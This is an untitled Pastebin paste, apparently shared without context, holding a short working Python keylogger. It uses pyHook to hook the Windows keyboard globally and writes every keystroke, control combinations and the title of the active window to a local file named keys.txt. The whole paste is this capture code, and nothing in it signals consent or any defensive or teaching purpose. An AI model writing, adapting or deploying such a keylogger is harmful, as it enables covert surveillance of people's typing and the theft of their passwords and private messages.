Advertisement
Guest User

Untitled

a guest
Oct 20th, 2017
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.34 KB | None | 0 0
  1. import pyHook
  2. import pythoncom
  3.  
  4. keyData = ''
  5. WinTitle = ""
  6.  
  7.  
  8. def keypressed(event):
  9.     global keyData, WinTitle
  10.     keys = ""
  11.     wintitlestring = ""
  12.     if WinTitle != event.WindowName:
  13.         WinTitle = event.WindowName
  14.         wintitlestring = "\n Window: %s \n" % WinTitle
  15.  
  16.     try:
  17.         keyfile = open("keys.txt", "r")
  18.         keyData = keyfile.read()
  19.         keyfile.close()
  20.     except:
  21.         pass
  22.     if event.Ascii == 13:
  23.         keys = '\n'
  24.     elif event.Ascii == 8:
  25.         keys = '<BACK SPACE>'
  26.     elif event.Ascii == 9:
  27.         keys = '<TAB>'
  28.     elif event.Ascii == 19:
  29.         keys = '<CTRL-S>'
  30.     elif event.Ascii == 24:
  31.         keys = '<CTRL-X>'
  32.     elif event.Ascii == 22:
  33.         keys = '<CTRL-V>'
  34.     elif event.Ascii == 3:
  35.         keys = '<CTRL-C>'
  36.     elif event.Ascii == 26:
  37.         keys = '<CTRL-Z>'
  38.     elif event.Ascii == 0:
  39.         if event.Key not in ("Lshift", "Rshift", "Lmenu", "Rmenu", "Lcontrol", "Rcontrol"):
  40.             keys = "<%s>" % event.Key
  41.     else:
  42.         keys = chr(event.Ascii)
  43.  
  44.     if wintitlestring != "":
  45.         keyData += wintitlestring
  46.     keyData += keys
  47.     keyfile = open("keys.txt", "w")
  48.     keyfile.write(keyData)
  49.     keyfile.close()
  50.     return True
  51.  
  52.  
  53. obj = pyHook.HookManager()
  54. obj.KeyDown = keypressed
  55. obj.HookKeyboard()
  56. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement